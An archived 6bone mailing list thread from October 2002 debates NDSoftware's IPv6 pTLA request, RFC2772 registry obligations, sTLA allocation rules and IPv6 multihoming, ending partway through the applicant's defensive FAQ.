> > that they are a good peering candidate?  I certainly don't.
> 
> They can be a good peering candidate !
> 
> A whois updated or not don't make the quality of a peering. 


I SERIOUSLY BEG TO DIFFER!  If someone is too damned lazy to create and
maintain an ipv6-site object, how on earth can you expect them to maintain
appropriate BGP filters, allocation records, etc, etc, etc?  Man, it is
_OBVIOUS_ that this is a *toy* to you.

By virtue of your ipv6-site object referencing tunnel endpoints that have
no corresponding ipv6-site object, it is NOT accurate and you (and your
sites with nonexistant or invalid ipv6-site objects) are in violation of
RFC2772:

5. The 6Bone Registry

   The 6Bone registry is a RIPE-181 database with IPv6 extensions used
   to store information about the 6Bone, and its sites. The 6bone is
   accessible at:

         <http://www.6bone.net/whois.html>)

   Each 6Bone site MUST maintain the relevant entries in the 6Bone
   registry. In particular, the following object MUST be present for all
   6Bone leaf sites, pNLAs and pTLAs:

   -  IPv6-site: site description

   -  Inet6num: prefix delegation (one record MUST exist for each
      delegation)

   -  Mntner: contact info for site maintance/administration staff.

   Other object MAY be maintained at the discretion of the sites such as
   routing policy descriptors, person, or role objects.  The Mntner
   object MUST make reference to a role or person object, but those MAY
   NOT necessarily reside in the 6Bone registry. They can be stored
   within any of the Internet registry databases (ARIN, APNIC, RIPE-NCC,
   etc.)

6. Guidelines for new sites joining the 6Bone

   New sites joining the 6Bone should seek to connect to a transit pNLA
   or a pTLA within their region, and preferably as close as possible to
   their existing IPv4 physical and routing path for Internet service.
   The 6Bone web site at <http://www.6bone.net> has various information
   and tools to help find candidate 6bone networks.

   Any site connected to the 6Bone MUST maintain a DNS server for
   forward name lookups and reverse address lookups.  The joining site
   MUST maintain the 6Bone objects relative to its site, as describe in
   section 5.

   The upstream provider MUST delegate the reverse address translation
   zone in DNS to the joining site, or have an agreement in place to
   perform primary DNS for that downstream. The provider MUST also
   create the 6Bone registry inet6num object reflecting the delegated
   address space.






Now, from section 7 of RFC2772, a bit more for you to ponder:

      During the entire qualifying period the Applicant must be
      operational providing the following:

      a. Fully maintained, up to date, 6Bone Registry entries for their
         ipv6-site inet6num, mntner, and person objects, including each
         tunnel that the Applicant has.

<snip>


   4. The pTLA Applicant MUST commit to abide by the current 6Bone
      operational rules and policies as they exist at time of its
      application, and agree to abide by future 6Bone backbone
      operational rules and policies as they evolve by consensus of the
      6Bone backbone and user community.



Now, since you obviously don't care if your peers maintain their ipv6-site
objects or even HAVE them for that matter, how is it that you are abiding
by RFC2772, Section 5?



> 
> Why all this questions ? 
> I don't have asked all this questions, when you have request your
> pTLA.... 


Nicolas, NOBODY asked any questions when I requested a pTLA for EnterZone.  
We already held an sTLA, our website provided accurate, up-to-date
information about our service offerings as well as our company and we had,
at the time of the request, been in business for nearly 7 years providing
IP transit and datacenter services.  A large portion of the v6 community
is running the looking-glass code that I wrote, I wrote the first exchange
point route-server hack (which has become the "transparent" features) for
the Zebra code and am VERY active in the Zebra mailing list, NANOG, and am
one of the moderators for the Linux-ATM project.  Suffice it to say that
people knew who I was, who EnterZone, Inc was and they didn't have any
question about our ability to provide "production quality" services, or if
we had a potential "user community."

Had anyone had questions for us, I would have personally sat down and in
great detail answered any concern that they had.  Your defensive posture
is doing nothing to ease any anxieties people may have over your becoming
a pTLA holder and participating the Default Free Zone.


This is _not_ anything personal Nicolas.  It's all about due
diligence.  Any BUSINESSMAN should understand that.


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |



From pekkas@netcore.fi Sun Oct 20 07:36:34 2002
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Date: Sun, 20 Oct 2002 17:36:10 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: Gert Doering <gert@space.net>
cc: Jeroen Massar <jeroen@unfix.org>,
   "'Stephane Bortzmeyer'" <bortzmeyer@gitoyen.net>, <6bone@ISI.EDU>
Subject: sTLA alloc policies [Re: [6bone] pTLA request NDSOFTWARE - review
 closes 23 October 2002]
In-Reply-To: <20021020142528.X94537@Space.Net>
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On Sun, 20 Oct 2002, Gert Doering wrote:
> On Sun, Oct 20, 2002 at 02:19:19PM +0200, Jeroen Massar wrote:
> > [ RIPE rules for IPv6 address space ]
> > 
> > That's what I meant to express. They do have political reasons though.
> > And as most people know politics are not nice.
> 
> Partly political, but also partly technical - the multihoming issue
> isn't really solved yet, and have every end site have their own /32
> announced into the global table is not a scalable approach.
> 
> The political part is the "200 customer rule", which I personally did
> not like very much (it came from ARIN and APNIC), but hey, for a serious
> ISP that actually is connecting customers, it's not a major obstacle.

Speaking of which, I'd be really interested in knowing how Internet 
Software Consortium is going to fill the "200 customer rule":

http://ws.arin.net/cgi-bin/whois.pl?queryinput=ISC6-1

I never thought they'd be in the ISP business..

Oh, Nokia must also have colored the truth slightly..

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From arien+6bone@ams-ix.net Sun Oct 20 08:19:14 2002
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Date: Sun, 20 Oct 2002 17:19:05 +0200
Subject: Re: [6bone] multiple address handling
From: Arien Vijn <arien+6bone@ams-ix.net>
To: <itojun@iijlab.net>, Tim Chown <tjc@ecs.soton.ac.uk>
Cc: 6BONE List <6bone@mailman.isi.edu>
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On 20-10-2002 15:42PM, "itojun@iijlab.net" <itojun@iijlab.net> wrote:

>> Of course part of the problem is the lack of progress of the multi6 WG,
>> albeit a non-trivial problem to be working on :)   The "classic" IPv6
>> solution for our university is to take two /48's from different providers,
>> and for all clients to have two global addresses, but the client-side
>> support for handling the multiple addressing is yet to be resolved.
> 
> curious: where do you see problems in multiple address handling?
> i don't really see any, except the lack of ability to switching
> address pair for TCP (maybe we should use SCTP?).
> 

This is the major problem. Increased reliability is certainly a factor why
one wants to be multi homed.

Address selection is another issue.

> i'm using /48 address blocks from 4 upstreams in my home, and seeing
> no problem at all.
>

Glad to see someone is actually happily doing this. For short sessions it
should not be a problem indeed.

Do you monitor how the distribution over the 4 upstream goes? How does your
client select which source address it will use.

Are you running multi homed servers or do you just use it as a client?

Kind regards, Arien


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Date: Sun, 20 Oct 2002 16:35:05 +0100
From: Tim Chown <tjc@ecs.soton.ac.uk>
To: 6bone@ISI.EDU
Subject: Re: sTLA alloc policies [Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002]
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On Sun, Oct 20, 2002 at 05:36:10PM +0300, Pekka Savola wrote:
> 
> Speaking of which, I'd be really interested in knowing how Internet 
> Software Consortium is going to fill the "200 customer rule":

Or small to medium sized NRENs in Europe.  I spoke last week to someone from
one of the smallest European research networks who felt he couldn't get a
SubTLA for that reason (not 200 universities in the country).  This isn't
(I hope) the type of organisation the new rules are trying to exclude.  (in
other ways the new rules are very open, which may lead to (increased) 
6bonisation of the 2001: space...

Tim

From gert@Space.Net Sun Oct 20 08:39:20 2002
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From: Gert Doering <gert@space.net>
To: Pekka Savola <pekkas@netcore.fi>
Cc: Gert Doering <gert@space.net>, Jeroen Massar <jeroen@unfix.org>,
   "'Stephane Bortzmeyer'" <bortzmeyer@gitoyen.net>, 6bone@ISI.EDU
Subject: Re: sTLA alloc policies [Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002]
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Hi,

On Sun, Oct 20, 2002 at 05:36:10PM +0300, Pekka Savola wrote:
> > The political part is the "200 customer rule", which I personally did
> > not like very much (it came from ARIN and APNIC), but hey, for a serious
> > ISP that actually is connecting customers, it's not a major obstacle.
> 
> Speaking of which, I'd be really interested in knowing how Internet 
> Software Consortium is going to fill the "200 customer rule":
> 
> http://ws.arin.net/cgi-bin/whois.pl?queryinput=ISC6-1
> 
> I never thought they'd be in the ISP business..
> 
> Oh, Nokia must also have colored the truth slightly..

Well, Nokia (and Cisco and such) might actually be able to justify it 
- by declaring all their national offices as customers.  Legally, they
are likely to be separate entities anyway.

*I* personally don't really mind if "the 100 biggest companies in the
world" get a sTLA - if they can provide decent network documentation,
fine with me.

As for ISC, hmmm, interesting question.  Being a RIPE person, I can't
comment on what's going on in ARIN land...

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  48282  (47686)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From gert@Space.Net Sun Oct 20 08:43:51 2002
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From: Gert Doering <gert@space.net>
To: Arien Vijn <arien+6bone@ams-ix.net>
Cc: Jeroen Massar <jeroen@unfix.org>, "'Gert Doering'" <gert@space.net>,
   "'Stephane Bortzmeyer'" <bortzmeyer@gitoyen.net>, 6bone@ISI.EDU
Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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Hi,

On Sun, Oct 20, 2002 at 04:08:41PM +0200, Arien Vijn wrote:
> In the APNIC region RIR/NIRs are "critical infrastructure" and therefore are
> eligible for a /32. See:
> 
> http://www.ripe.net/ripe/meetings/archive/ripe-43/presentations/ripe43-plena
> ry-apnic/sld024.html

Yes, I've seen that presentation.  I consider that whole thing hilarious -
in my opinion, the only thing that is "criticial infrastructure" enough
to warrant fixed, permanent, "personal" IP addresses are root DNS servers.

The RIPE members have voted against introducing "golden space" in the v4
world a couple of times, and (IIRC) also did so for v6.

What's so special (technically) about a RIR/NIR's network?  Yes, there's
a whois server, and a web server.  But why is it more critical for the
whole internet than, say, "www.google.com"?  I'd consider the latter far
more important for the majority of internet users.

(As for the IXP address space: tricky.  I'm sure we've had this discussion
in person before, and I just have a different opinion - the DECIX runs
well with non-routeable IXP space, while the INXS runs well on C&W space)

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  48282  (47686)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From hansolofalcon@worldnet.att.net Sun Oct 20 08:53:29 2002
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "'Nicolas DEFFAYET'" <nicolas.deffayet@ndsoftware.net>
Cc: "'6bone Mail List'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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Hello from Gregg C Levine
All very nice. But it still doesn't answer any of John Fraize's many
questions. In fact, I'd say it looks slick. But it won't work, nor will
it stack up. Have you studied completely the man pages behind your
server's software, on each component? Some of them are relevant, and
aren't just put there for the machine's sake. I'm sorry Nicholas, but I
still agree with John Fraize, and everyone else, and disagree with you.
-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi )
(This company dedicates this E-Mail to Master Yoda )



> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu]
On
> Behalf Of Nicolas DEFFAYET
> Sent: Sunday, October 20, 2002 9:44 AM
> To: Gregg C Levine
> Cc: 6bone Mail List
> Subject: RE: [6bone] pTLA request NDSOFTWARE - review closes 23
October
> 2002
> 
> On Sun, 2002-10-20 at 00:24, Gregg C Levine wrote:
> 
> Hello Gregg,
> 
> > I have been lurking on this list, for a good number of years now.
> > Sometimes even posting a comment, or a gripe. This is more along the
> > lines of both. I have been monitoring the traffic discussing
> > NDSOFTWARE's request. Both finding the original message to Bob Fink,
and
> > the list, and everything. Sorry Mr. Deffayet, I disagree. For one,
you
> > do need to spell out who will be using the service. Is it for your
> > company? Yourself? What? Who, even? Unless you can spell out neatly
the
> > answers to my questions, I am inclined to agree with everyone else.
I am
> > also agreeing with the people I have disagreed with early on. I
might
> > also, add, even Master Yoda's methods of speaking isn't that
confusing.
> 
> Who will be using the service:
> 
> - NDSoftware (my company)
> 
> - many projects (here a list of main projects):
> 
> * IPv6-FR
> A non profit organisation for the developement of IPv6 in France
> IPv6-FR run a tunnel broker and have currently 200 users, each user
have
> a /48
> => NDSoftware provide to IPv6-FR: 1 /35 and a native IPv6
connectivity.
> 
> * NextGenCollective
> IPv6 research
> http://www.nextgencollective.net/
> NGC[NextGen Collective] provides IPv6-over-IPv4 tunnels to people all
> over the world.
> ASpath-tree: http://www.nextgencollective.net/bgp4/ (AS65526 is my old
> private ASN)
> => NDSoftware provide to NextGenCollective: 2 /44, 1 /40, 1 /36 and a
> tunnel IPv6 over IPv4 with BGP (full transit).
> 
> * IPng.org.uk
> IPv6 tunnel broker
> http://www.ipng.org.uk/
> ASpath-tree: http://www.ipng.org.uk/bgp/bgp-page-complete.html
(AS65526
> is my old private ASN)
> => NDSoftware provide to IPng.org.uk: 1 /44, 1 /40 and a tunnel IPv6
> over IPv4 with BGP (full transit).
> 
> * ILS
> Italian Linux Society
> ILS provide IPv6 connectivity to italian user groups and organizations
> experimenting with IPv6.
> ILS host the IPv6 IRC server calvino.freenode.net
> => NDSoftware provide to ILS: 1 /44 and a tunnel IPv6 over IPv4 with
BGP
> (full transit).
> 
> * ATI
> A tunisian ISP
> http://www.ipv6net.tn/
> http://www.ipv6net.tn/ipv6-Tunisia.pdf
> => NDSoftware provide to ATI: 1 /44 and a tunnel IPv6 over IPv4 with
BGP
> (full transit). NDSoftware have help ATI for the IPv6 deployement in
> tunisia. ATI plan later to request a pTLA.
> 
> * FABIONNE
> A projet for do IPv6 Debian package
> http://debian-ipv6.fabionne.net/
> => NDSoftware provide to FABIONNE:  a tunnel IPv6 over IPv4 with BGP
> (full transit) and host a mirror for this projet
> (http://debian-ipv6.mirrors.ndsoftwarenet.com/).
> 
> ESMT
> An university in Senegal
> => NDSoftware provide to ESMT: 1 /44 and a tunnel IPv6 over IPv4.
> 
> 
> Best regards,
> 
> Nicolas DEFFAYET
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From jeroen@unfix.org Sun Oct 20 08:55:37 2002
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Subject: Multihoming (WAS: RE: [6bone] pTLA request NDSOFTWARE - review closes 23 October2002)
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Arien Vijn [mailto:arien+6bone@ams-ix.net] wrote:

> On 20-10-2002 14:19PM, "Jeroen Massar" <jeroen@unfix.org> wrote:
> 
> > Gert Doering [mailto:gert@space.net] wrote:

<SNIP>

> To solve the neutrality issues, AMS-IX decided to put serious efforts
in a
> proper multi homing solution. We think (hope) that this approach will
be a
> much more positive contribution to the Internet than arguing the
> criticalness of an IXP.

Perfectly put.

People interrested in this subject could/should have a look at:
http://arneill-py.sacramento.ca.us/ipv6mh/

Which is the site of the: fearless IPv6 multihoming solutions developers
"mulsixhomers"
Aka ipv6mh.
They are currently doing very good work in the multihoming field.

Greets,
 Jeroen


From tjc@ecs.soton.ac.uk Sun Oct 20 09:00:12 2002
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From: Tim Chown <tjc@ecs.soton.ac.uk>
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Subject: Re: [6bone] multiple address handling
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On Sun, Oct 20, 2002 at 05:19:05PM +0200, Arien Vijn wrote:
> 
> On 20-10-2002 15:42PM, "itojun@iijlab.net" <itojun@iijlab.net> wrote:
> 
> >> Of course part of the problem is the lack of progress of the multi6 WG,
> >> albeit a non-trivial problem to be working on :)   The "classic" IPv6
> >> solution for our university is to take two /48's from different providers,
> >> and for all clients to have two global addresses, but the client-side
> >> support for handling the multiple addressing is yet to be resolved.
> > 
> > curious: where do you see problems in multiple address handling?
> > i don't really see any, except the lack of ability to switching
> > address pair for TCP (maybe we should use SCTP?).
> 
> This is the major problem. Increased reliability is certainly a factor why
> one wants to be multi homed.

This was the major "problem" I had in mind, yes.  The issues include:

(1) Configuration of internal site router infrastructure with new prefixes
    as new external links are administratively added.

(2) Removal of configuration on site infrastructure for prefixes for links 
    that get administratively removed (e.g. a change of main provider, both
    prefixes are used for a rollover period).

(3) Deprecation for links that are unavailable.  The internal site routing
    would presumably remain, but the end hosts should be signalled that the
    prefix is deprecated.  A temporary case of (2).

(4) Renewed availability of a temporarily deprecated prefix.

[Some may say (3) and (4) are the same as (1) and (2)]

(5) Source host src/dst address selection.  There has been good work on this.
    I'm not clear on how this ties in to default router selection with router 
    precedences, or the (relatively) new load balancing proposal.

(6) Sustaining TCP connection when (2) or (3) occur.  This is something of
    a void that SCTP could fill, or maybe some Mobility-like solution.  Of
    course it only matters for some applications, but it has to be solved.

In theory IPv6 router renumber handles cases (1) and (2).  Cases (3) and (4)
could also use router renumbering and RAs combined.

It's (6) that's the fuzzy area.

I think the standard renumbering scenario that Christian Huitema(?) presented 
a while ago assumed orderly renumbering with provider change, rather than
sudden link loss.

Then of course there's the side issues of DNS, firewalls, etc for new
prefixes introduced.  

I'd be interested in seeing a case study of a site that has all the above
working and 3 or more layers of internal routers (which we have), not
just a single multihomed router.   I had assumed multi6 was stalled because
this hadn't been shown, not because it has :)

Tim

From hansolofalcon@worldnet.att.net Sun Oct 20 09:49:13 2002
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "'6bone Mail List'" <6bone@mailman.isi.edu>
Cc: "'Nicolas DEFFAYET'" <nicolas.deffayet@ndsoftware.net>
Subject: RE: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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Hello from Gregg C Levine
Excuse me. I meant to say, John Fraizer, as the name that I agreed with.
My e-mail client, yes Outlook, goofed again. Everything else in that
message is still a valid point. John, don't be insulted by my program's
goofs.
-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi )
(This company dedicates this E-Mail to Master Yoda )



> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu]
On
> Behalf Of Gregg C Levine
> Sent: Sunday, October 20, 2002 11:54 AM
> To: 'Nicolas DEFFAYET'
> Cc: '6bone Mail List'
> Subject: RE: [6bone] pTLA request NDSOFTWARE - review closes 23
October
> 2002
> 
> Hello from Gregg C Levine
> All very nice. But it still doesn't answer any of John Fraize's many
> questions. In fact, I'd say it looks slick. But it won't work, nor
will
> it stack up. Have you studied completely the man pages behind your
> server's software, on each component? Some of them are relevant, and
> aren't just put there for the machine's sake. I'm sorry Nicholas, but
I
> still agree with John Fraize, and everyone else, and disagree with
you.
> -------------------
> Gregg C Levine hansolofalcon@worldnet.att.net
> ------------------------------------------------------------
> "The Force will be with you...Always." Obi-Wan Kenobi
> "Use the Force, Luke."  Obi-Wan Kenobi
> (This company dedicates this E-Mail to General Obi-Wan Kenobi )
> (This company dedicates this E-Mail to Master Yoda )
> 
> 
> 
> > -----Original Message-----
> > From: 6bone-admin@mailman.isi.edu
[mailto:6bone-admin@mailman.isi.edu]
> On
> > Behalf Of Nicolas DEFFAYET
> > Sent: Sunday, October 20, 2002 9:44 AM
> > To: Gregg C Levine
> > Cc: 6bone Mail List
> > Subject: RE: [6bone] pTLA request NDSOFTWARE - review closes 23
> October
> > 2002
> >
> > On Sun, 2002-10-20 at 00:24, Gregg C Levine wrote:
> >
> > Hello Gregg,
> >
> > > I have been lurking on this list, for a good number of years now.
> > > Sometimes even posting a comment, or a gripe. This is more along
the
> > > lines of both. I have been monitoring the traffic discussing
> > > NDSOFTWARE's request. Both finding the original message to Bob
Fink,
> and
> > > the list, and everything. Sorry Mr. Deffayet, I disagree. For one,
> you
> > > do need to spell out who will be using the service. Is it for your
> > > company? Yourself? What? Who, even? Unless you can spell out
neatly
> the
> > > answers to my questions, I am inclined to agree with everyone
else.
> I am
> > > also agreeing with the people I have disagreed with early on. I
> might
> > > also, add, even Master Yoda's methods of speaking isn't that
> confusing.
> >
> > Who will be using the service:
> >
> > - NDSoftware (my company)
> >
> > - many projects (here a list of main projects):
> >
> > * IPv6-FR
> > A non profit organisation for the developement of IPv6 in France
> > IPv6-FR run a tunnel broker and have currently 200 users, each user
> have
> > a /48
> > => NDSoftware provide to IPv6-FR: 1 /35 and a native IPv6
> connectivity.
> >
> > * NextGenCollective
> > IPv6 research
> > http://www.nextgencollective.net/
> > NGC[NextGen Collective] provides IPv6-over-IPv4 tunnels to people
all
> > over the world.
> > ASpath-tree: http://www.nextgencollective.net/bgp4/ (AS65526 is my
old
> > private ASN)
> > => NDSoftware provide to NextGenCollective: 2 /44, 1 /40, 1 /36 and
a
> > tunnel IPv6 over IPv4 with BGP (full transit).
> >
> > * IPng.org.uk
> > IPv6 tunnel broker
> > http://www.ipng.org.uk/
> > ASpath-tree: http://www.ipng.org.uk/bgp/bgp-page-complete.html
> (AS65526
> > is my old private ASN)
> > => NDSoftware provide to IPng.org.uk: 1 /44, 1 /40 and a tunnel IPv6
> > over IPv4 with BGP (full transit).
> >
> > * ILS
> > Italian Linux Society
> > ILS provide IPv6 connectivity to italian user groups and
organizations
> > experimenting with IPv6.
> > ILS host the IPv6 IRC server calvino.freenode.net
> > => NDSoftware provide to ILS: 1 /44 and a tunnel IPv6 over IPv4 with
> BGP
> > (full transit).
> >
> > * ATI
> > A tunisian ISP
> > http://www.ipv6net.tn/
> > http://www.ipv6net.tn/ipv6-Tunisia.pdf
> > => NDSoftware provide to ATI: 1 /44 and a tunnel IPv6 over IPv4 with
> BGP
> > (full transit). NDSoftware have help ATI for the IPv6 deployement in
> > tunisia. ATI plan later to request a pTLA.
> >
> > * FABIONNE
> > A projet for do IPv6 Debian package
> > http://debian-ipv6.fabionne.net/
> > => NDSoftware provide to FABIONNE:  a tunnel IPv6 over IPv4 with BGP
> > (full transit) and host a mirror for this projet
> > (http://debian-ipv6.mirrors.ndsoftwarenet.com/).
> >
> > ESMT
> > An university in Senegal
> > => NDSoftware provide to ESMT: 1 /44 and a tunnel IPv6 over IPv4.
> >
> >
> > Best regards,
> >
> > Nicolas DEFFAYET
> >
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From pekkas@netcore.fi Sun Oct 20 09:58:51 2002
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Date: Sun, 20 Oct 2002 19:58:12 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: Tim Chown <tjc@ecs.soton.ac.uk>
cc: 6bone@ISI.EDU
Subject: Re: sTLA alloc policies [Re: [6bone] pTLA request NDSOFTWARE - review
 closes 23 October 2002]
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On Sun, 20 Oct 2002, Tim Chown wrote:
> On Sun, Oct 20, 2002 at 05:36:10PM +0300, Pekka Savola wrote:
> > 
> > Speaking of which, I'd be really interested in knowing how Internet 
> > Software Consortium is going to fill the "200 customer rule":
> 
> Or small to medium sized NRENs in Europe.  I spoke last week to someone from
> one of the smallest European research networks who felt he couldn't get a
> SubTLA for that reason (not 200 universities in the country).  

Yep, with strict interpretation this is a huge problem.  But not in
practise, there's flexibility for those that need it; for example,
NORDUnet, the research network transit for Nordics, has about 5 customers
and no hope of getting more (or having to give addresses to any of these).  
And it just got an sTLA a week or two ago :-).

But even if you don't have customers, you have to have these addresses if 
you participate (_really_) in the DFZ.

> This isn't
> (I hope) the type of organisation the new rules are trying to exclude.  (in
> other ways the new rules are very open, which may lead to (increased) 
> 6bonisation of the 2001: space...

My worry as well.. I'm really curious about the ISC stuff, and I really
hope ARIN will not just de-facto ignore the particular point of the rules.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From nicolas.deffayet@ndsoftware.net Sun Oct 20 10:07:17 2002
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From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
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Here a FAQ, no more reply on this list about "pTLA request NDSOFTWARE -
review closes 23 October 2002".

NDSoftware pTLA request is fully compliant with RFC2772.
http://mailman.isi.edu/pipermail/6bone/2002-October/006364.html

Don't try to find a bug, there is no bugs.
If you are jealous, search another victim.


Please respect the Bob Fink's email:

----------------------------------------------------------------------->

6bone Folk,

Please keep the discussion from getting personal, or becoming defamatory
or 
using swear words.

Many folks watch how we carry out our 6bone business; it is important
that 
we remain open, objective and willing to hear all sides.


Thanks,

Bob

----------------------------------------------------------------------->

---

What's NDSoftware ?

Founded in 2000 by Nicolas DEFFAYET, NDSoftware at the base software
publisher offers a wide range of products and services for personal and
business.

We work a lot in the creation of software, consulting and creation of
website.

We develop an ISP activity for offer to our customers a complete
solution (if a customer order the creation of a software for its
customers management, we want offer additional services like the
creation of the website linked with the software of customers
management, the hosting of this website,...)

---

Why NDSoftware don't have a website ?

For the moment, we don't need a website for find new customers and do
our business. Do marketing stuff is not a priority for us, because we
get new customers with our actual customers.

The NDSoftware website is under developpement since many mounths. Our
website will be not a vulgar website with 20 static pages about our
activites. We will manage our client with it, automatize all
administrative tasks (invoice for exemple),... Our aim is develop more
services without more staff.

---

What about NDSoftware & IPv6 ?

NDSoftware work on 6bone since january 2001. We do a lot of tests for
prepare our ISP activity and at the same time we help the IPv6
community. We provide IPv6 connectivity and our help to many projects.

---

Does NDSoftware plan do commercial activities on 6bone ?

No, of course !

All our IPv6 services are free in production quality but without any
guarantee.
We will do commercial activities only with a sTLA from the RIPE.

---

Is Nicolas DEFFAYET is a kid without brain who destroy 6bone ?

I'm Nicolas DEFFAYET, i have 4 years, i got every day to school, and i
play with my FisherPrice routers and i destroy all 6bone.

---

Why NDSoftware collecting tunnels and BGP sessions ?

It's for do a lot of tests.

---

Does NDSoftware have a bad routing ?

No, we use MED.

Our MED for tunnels:

500: - 10 ms
510: 10 - 25 ms
520: 25 - 50 ms
530: 50 - 100 ms
540: + 100 ms

A lot of pTLA and sTLA don't use MED, we use MED for have a good
quality.

We use too "bgp always-compare-med" of course.

---

Does NDSoftware is the source of "ghost AS_pathes" ?

No, read archive of the 6bone mailing-list, you will find all details
about this problem.

---

Why there is the same phone number on all contact of NDSoftware's whois
?

There is a common phone contact for a best manegement. 

---

Does NDSoftware staff have 24x7 physical access to the equipment ?

Yes of course !

---

NDSoftware routers have many BGP peer down, why ?

We do a migration (for the moment only parcr2.fr.ndsoftwarenet.net and
route-server.ndsoftwarenet.net), we change AS65526 to AS25358.

---

What's NDSoftware "potential user community" ?

- NDSoftware (my company)

- many projects (here a list of main projects):

* IPv6-FR
A non profit organisation for the developement of IPv6 in France
IPv6-FR run a tunnel broker and have currently 200 users, each user have
a /48
=> NDSoftware provide to IPv6-FR: 1 /35 and a native IPv6 connectivity.

* NextGenCollective
IPv6 research
http://www.nextgencollective.net/
NGC[NextGen Collective] provides IPv6-over-IPv4 tunnels to people all
over the world. 
ASpath-tree: http://www.nextgencollective.net/bgp4/ (AS65526 is my old
private ASN)
=> NDSoftware provide to NextGenCollective: 2 /44, 1 /40, 1 /36 and a
tunnel IPv6 over IPv4 with BGP (full transit).

* IPng.org.uk
IPv6 tunnel broker
http://www.ipng.org.uk/
ASpath-tree: http://www.ipng.org.uk/bgp/bgp-page-complete.html (AS65526
is my old private ASN)
=> NDSoftware provide to IPng.org.uk: 1 /44, 1 /40 and a tunnel IPv6
over IPv4 with BGP (full transit).

* ILS
Italian Linux Society
ILS provide IPv6 connectivity to italian user groups and organizations
experimenting with IPv6.
ILS host the IPv6 IRC server calvino.freenode.net
=> NDSoftware provide to ILS: 1 /44 and a tunnel IPv6 over IPv4 with BGP
(full transit).

* ATI
A tunisian ISP
http://www.ipv6net.tn/
http://www.ipv6net.tn/ipv6-Tunisia.pdf
=> NDSoftware provide to ATI: 1 /44 and a tunnel IPv6 over IPv4 with BGP
(full transit). NDSoftware have help ATI for the IPv6 deployement in
tunisia. ATI plan later to request a pTLA.

* FABIONNE
A projet for do IPv6 Debian package
http://debian-ipv6.fabionne.net/
=> NDSoftware provide to FABIONNE:  a tunnel IPv6 over IPv4 with BGP
(full transit) and host a mirror for this projet
(http://debian-ipv6.mirrors.ndsoftwarenet.com/).

ESMT
An university in Senegal
=> NDSoftware provide to ESMT: 1 /44 and a tunnel IPv6 over IPv4.

We do many actions in IPv6 research, we created FNIX6 (French 
International Internet Exchange IPv6, http://www.fnix6.net/), we host
many mirrors available in IPv6, we created ftp://ftp.openipv6.com/ (a
FTP with a lot of IPv6 stuff). 

---

Why NDSoftware need a pTLA ?

A lot of peers filter our /32 because it's not a pTLA. 
We want a pTLA for can announce without any problems our network, don't
break the IPv6 aggregation and be independant of a upstream (we don't
want be down because our upstream is down).

All ISP/company/project who provide IPs to another ISP/company/project
and have many upstream MUST have a pTLA/sTLA.

In http://www.6bone.net/6bone_pTLA_list.html, a lot of pTLA aren't used
or are used only for a /48 and/or have only one upstream.

An exemple: MOTOROLA-LABS, have only one upstream. Do you think that
they need a pTLA ? If their upstream is down, this pTLA is not anymore
announced. MOTOROLA-LABS don't provide IPs and a /48 is enough for their
activity...

NDSoftware provide IPs to another ISP/company/project and have many
upstream...

---

http://noc.ndsoftwarenet.com have many 404 errors pages in "Documents"
submenu...

Yes, we know, it will be fixed soon.

---

Does NDSoftware plan to be LIR at the RIPE ?

Yes, it's planned.
We will be LIR when our ISP activity will be stable.

---

Why NDSoftware will close peering with private ASN ?

We have 101 BGP4+ peers, our current routers are full (zebra is very
unstable if we add new peer) and we want get new peer with other
pTLA/sTLA that we can't get with our old private ASN.

We have choose to delete all peers with private ASN for free BGP session
on our routers for this new peers.

We don't delete peers with private ASN because "private ASN sucks", we
keep peering with important private ASN like NextGenCollective or
IPNG-UK (this 2 projects projet provide a lot of tunnels to users). I
understand their status, it's why i keep peering with them.

We will try to find a solution before the 23th October for keep peer
with all private ASN.

---

What's the address 57 rue du president Wilson, 92300 Levallois-Perret,
France ?

It's the postal address of NDSoftware and IPv6-FR.

---

What's IPv6-FR ?

IPv6-FR is a non profit organisation for the developement of IPv6 in
France.

---

What's FNIX6 ?

FNIX6 (French National Internet Exchange IPv6) is an IPv6 Internet
